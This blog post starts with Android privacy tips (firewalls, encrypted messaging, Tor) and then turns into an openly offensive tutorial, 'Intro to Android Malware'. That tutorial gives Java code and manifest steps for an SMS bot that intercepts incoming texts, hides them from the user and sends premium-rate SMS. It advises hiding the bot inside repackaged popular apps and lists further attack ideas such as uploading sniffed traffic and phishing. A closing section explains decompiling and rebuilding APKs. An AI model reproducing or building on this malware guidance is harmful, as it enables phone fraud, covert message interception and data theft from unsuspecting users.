sms bot 4 Android in the onion

Privacy On The Android

gAtO think —everything that follows is for android phones only. I hate phones todays devices are a little to much power. As I predicted back in January cell devices will become the linch pin of corporate security. Nothing should be thought of as 100% safe or guaranteed and/or legal in your area these are just things that you should consider of course getting an iPhone may be easier. —/ cyber criminals are using the Android cell device in new ways bypassing your phones security—/  you should always do your own research and be a cyber critical user.

[1.] if you haven’t done it already, flash your android and put Cyanogen Mod 7 on there. just rooting your phone isn’t good enough. you need to flash it and get all that bullshit and bloatware off your phone. Info on how to do this can be found at http://www.androidforums.com/

[2.] firewall your phone. Droidwall is a firewall based on iptables for linux. it will prevent data access to apps unless you specifically allow it. LBE Privacy Guard will limit access to specific functions for apps. for example, it will prevent apps that have no business requiring contact information or fine gps location from accessing said functions. LBE can also block apps from requesting IMEI info. both work very nicely with each other. LBE Privacy Guard does NOT prevent your carrier from accessing your location. it only prevents the apps you define from accessing the gps function, as well as almost any other function you choose. more information is available by searching the android market.

[3.] apply encryption and security to calls & texts. Redphone is an end-to-end encrypted VOIP app and TextSecure is an encrypted (you guessed it) app for texting. in order for these to work, the person you are trying to call or text must have the apps installed on their phone as well, so it’s not good for calling house phones or any other phones besides other androids, really. i believe apple blocked redphone from their app store so that’s just one more reason why apple sucks. both apps were written by moxie marlinspike and the guys over at whisper systems. there’s also another app by the guardian project for secure texting called Gibberbot that’s definitely worth checking out. more info is available in the android market or by visiting http://www.whispersys.com/ (or guardianproject.info for gibberbot)

[4. ] delete exif data and obfuscate pictures. ObscuraCam by the guardian project can do just that. you can import pictures into ObscuraCam or you can use this app to take pictures with. it can remove exif data and it can pixelate faces to prevent facial recognition. (for those who don’t already know, exif data is identifying metadata embedded in pictures such as gps location, timestamps, phone make/model, etc. exif data exists on all pictures taken with digital cameras, not just phones). more info can be found in the android market or at https://www.guardianproject.info

[5.] orbot is TOR for android and orweb is the accompanying browser. if you didn’t already know this, then you obviously don’t visit the TOR website enough. orbot works well with tethering and will allow you to surf anonymously even if you don’t have TOR on your computer. not sure how secure it is compared to regular TOR, and i certainly wouldn’t recommend doing anything too serious over your phone since your phone is basically a self imposed bug in your pocket, but if necessary, it’s better than the nothing. more info: the tor website or guardianproject.info

Intro to Android Malware

Most of the malware people here are only working with desktop exploits and web apps (and servers), which is a bit disheartening since Android malware seems to have way more potential for much less effort. Not only that, but infected phones can be turned directly into a profit by abusing premium phone numbers and premium sms numbers. No need to deal with banking or credit card security measures, or with fraud detection. Plus, infected phones make incredible proxies because they’re almost always online, and there are fewer tools to detect them (has anyone even heard of a GSM/CDMA NIDS?).
i think it’s safe to say that most malware coders has never written an Android application and working in Tor to boot is a different mindset. i will, however, go over the app system by stepping through a program that intercepts SMS, listens for commands, and responds.Android App Overview

in the Android OS and this applies to most cell devices -/ in writing malware for android you must understand there are four “forms” that an application can take:

Activity – Service – Receiver – Provider

  • Activities run in the foreground.
  • Services either run in the background or provide an interface for functionality between applications.
  • Receivers act on publicized information.
  • Providers offer an interface to data between applications.

Anything you package should be declared in the AndroidManifest.xml file within the <application> section.

One important thing to note is that all of these are treated equally in a packaged application. The fact that a Receiver doesn’t have to interact with a user doesn’t mean that it can’t be packaged alone. With that, it’s possible to run code effectively on install since there’s no need to wait for a user to run your app before you can do something useful. Your options for this are to either package a Service and wait for someone to want to use your code, package a Provider and wait for someone to request data, or package a Receiver and wait for someone to publicize information.

Sniffing SMS

The Receiver option is the only one that doesn’t rely on other applications, so let’s create a Receiver.

  • Create a new class, SmsReceiver and make it extend android.content.BroadcastReceiver. All receivers must be a subclass of BroadcastReceiver
  • Create the following method, which is the one called when the system has a new message for a Receiver:

public void onReceive(Context context, Intent intent) {

   }

  • Open up AndroidManifest.xml in Eclipse. Under the “Application” tab, find the section titled “Application Nodes”. Add a Receiver and set the “Name” to “.SmsReceiver”. The prepended dot is short for the application package name.
  • Highlight the “.SmsReceiver” row and Add an “Intent Filter”. All Receiver need to explicitly say what information they’re looking for, and his is how to do it. Set the Name to “android.provider.Telephony.SMS_RECEIVED”.
  • Now in AndroidManifest.xml, navigate to the “Permissions” tab. Add a “Uses Permission” named android.permission.RECEIVE_SMS. This is a requirement for any application that wants to receive the sms broadcast.

And with that, you have a class that receives all incoming SMS messages. To actually parse the message, I’m going to steal some code from the Android framework.

This code was copied (almost) directly from the Android source:

   public final SmsMessage[] getMessagesFromIntent(Intent intent) {

        Object[] messages = (Object[]) intent.getExtras().getSerializable(“pdus”);

        byte[][] pduObjs = new byte[messages.length][];

        for (int i = 0; i < messages.length; i++) {

            pduObjs[i] = (byte[]) messages[i];

        }   

        byte[][] pdus = new byte[pduObjs.length][];

        int pduCount = pdus.length;

        SmsMessage[] msgs = new SmsMessage[pduCount];  

        for (int i = 0; i < pduCount; i++) {

            pdus[i] = pduObjs[i];

            msgs[i] = SmsMessage.createFromPdu(pdus[i]);

        }

            return msgs;

    }

Now we can inspect the messages and react accordingly:

public void onReceive(Context context, Intent intent) {

      SmsMessage[] messages = this.getMessagesFromIntent(intent);

      for(SmsMessage msg : messages) {

         // sender can be found in msg.getDisplayOriginatingAddress()

         // body can be found in msg.getDisplayMessageBody()

      }

   }

Hiding SMS

So what if we decide that the message shouldn’t be shown to the user? If we’re the first ones to receive the broadcast, we can make sure nobody else gets it with a call to abortBroadcast(). To make sure we’re the first ones to get it, we need to raise our Receiver’s priority:

  • Open AndroidManifest.xml again and navigate to the “Application” tab.
  • Select the “Intent Filter” created earlier, and set “Priority” to “999”

For some broadcasts, a higher priority means you get the message earlier and can abort earlier. Beyond some number, you drop back down to the lowest priority. I haven’t tried to figure out the number (probably Integer.MAX_VALUE or Long.MAX_VALUE).

Sending SMS

Now to respond (or for premium sms), you need to be able to send sms:

  • AndroidManifest.xml, add the “android.permission.SEND_SMS” in the same way you added “android.permission.RECEIVE_SMS”

And… well, that’s pretty much it. You can now send sms messages with the following code:

SmsManager sm = SmsManager.getDefault();

sm.sendTextMessage(“phone-number-here”, null, “message”, null, null);

This is really all you need to start writing your own sms bot for Android. You can do basically anything without root exploits, as long as you can convince a user to keep the app on his phone. This isn’t a problem at all if you’re repackaging popular apps with this running in the background (see Sharing and Modding Android Apps). Keep in mind the root exploits are really only useful for hiding permissions from the user and staying on the phone after an uninstall (or preventing an uninstall).

If you have questions about this or some other Android features/malware, feel free to post here. I’m considering making an Android exploit kit, but I need there to be more interest in it. And if you’re having trouble coming up with other ideas…

  • Send annoying notifications until the user sends some sms (to avoid needing the SEND_SMS permission)
  • Load tcpdump to sniff all network traffic and upload the results to your server
  • Hijack bookmarked web pages for advanced phishing
  • Fake SMS for advanced phishing
  • Steal a huge amount of info and send SMS for advanced social engineering
  • Load code dynamically for future root exploits or for very flexible bots (or PPI)
  • Display ads while the user is away for revenue
  • etc, etc

Sharing and Modding Android Apps

This is a guide to move an app to your computer so you can mod it as you like. It isn’t a guide to cracking applications. This is an alternative to using an “App to SD” app, a lot of which are apparently buggy any don’t work on all apps. As far as I know, this method always works, and it gives you the option of automating the task.

Tools you’ll need

Android SDK: This comes with a bunch of tools you can use to communicate with your phone. The ones we care about are adb, used to communicate between your computer and a running android device, and android, a front-end to an android emulator. http://developer.android.com/sdk/index.html

Baksmali: This program understands and disassembles Android’s binaries to smali, an assembly language for Android applications. http://code.google.com/p/smali/downloads/detail?name=baksmali-1.3.0.jar&can=2&q=

Smali: This program converts smali assembly files into dex files. This will be used to apply any modifications to applications. http://code.google.com/p/smali/downloads/detail?name=smali-1.3.0.jar&can=2&q=

Java: You’ll need it to run baksmali. You can use your package manager to install this or use the link below. Remember to disable Java plugins in your web browser for being an infectious piece of shit. http://www.java.com/en/download/manual.jsp?locale=en

Setting everything up

Unpack the Android SDK to any directory and navigate to the tools folder. You’ll see a bunch of executables in here. I’m going to assume that this folder is now in your PATH environment variable so you can access them from anywhere. Google “set path variable windows|linux|mac” if you don’t know how to do this.

Now create a folder anywhere named “apps” and copy both baksmali.jar and smali.jar into there. This is where your applications will be copied to. Open a terminal or command prompt and navigate to this directory. From this point on, I’ll assume that baksmali.jar and smali.jar are in the working directory.

Your phone should have come with a USB charger. This charger doubles as general way of talking to your phone (not just transfer files). To do this…

  • Hook up your phone to your computer using the USB charger
  • Navigate to Settings -> Applications -> Development
  • Enable USB Debugging

At this point, you can play around with a shell on your phone with

adb -d shell

Now we’ll have to grab some files from your phone so those platform-specific odex files can be converted to platform-independent dex files. These command will probably get everything you need (copy/paste is your friend):

adb -d pull /system/framework/services.odex

adb -d pull /system/framework/framework.odex

adb -d pull /system/framework/android.policy.odex

adb -d pull /system/framework/ext.odex

adb -d pull /system/framework/javax.obex.odex

adb -d pull /system/framework/core.odex

adb -d pull /system/framework/pm.odex

adb -d pull /system/framework/ime.odex

adb -d pull /system/framework/bmgr.odex

adb -d pull /system/framework/am.odex

adb -d pull /system/framework/input.odex

adb -d pull /system/framework/svc.odex

If a command in a later step ever complains about a missing file.odex, and if the application runs on your phone, then you should run the following to get that file:

adb -d pull /system/framework/file.odex

Copying over the apps

Now to actually grab an application. All installed applications are stored in /system/app. If you’ve ever developed an application, you probably know that an apk file is the format that Android knows how to install, and it contains everything about the app. So if you want to share an app with other people, that’s what you would need to grab. Unfortunately, Android splits up the actual code from the metadata, and the apk files in this folder only contain the metadata. The code code for MyApp.apk is stored in the optimized, platform-specific MyApp.odex. We’ll have to make this platform-agnostic and recombine the two files.

Pull both files.

adb -d pull /system/app/MyApp.apk

adb -d pull /system/app/MyApp.odex

And decompile the odex file so it can be easily modified:

java -jar baksmali.jar -x MyApp.odex -o MyApp

At this point, you can apply whatever changes you want before recompling the application into a platform-independent apk. To recompile the application:

java -jar smali.jar MyApp -o classes.dex

And move it into the apk file. This can be done with any zip-modifying utility, like 7zip. I like to do this using the zip utility in linux:

zip -g MyApp.apk classes.dex

And that’s all! If you want to re-install the application, you’ll have to resign the new apk following the instructions in the following link. If anyone asks for it, I can append an abridged guide here. http://developer.android.com/guide/publishing/app-signing.html

Congratulations! You can now modify and share your Android applications! Post here if you have any problems following this guide, I’ll be glad to help.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: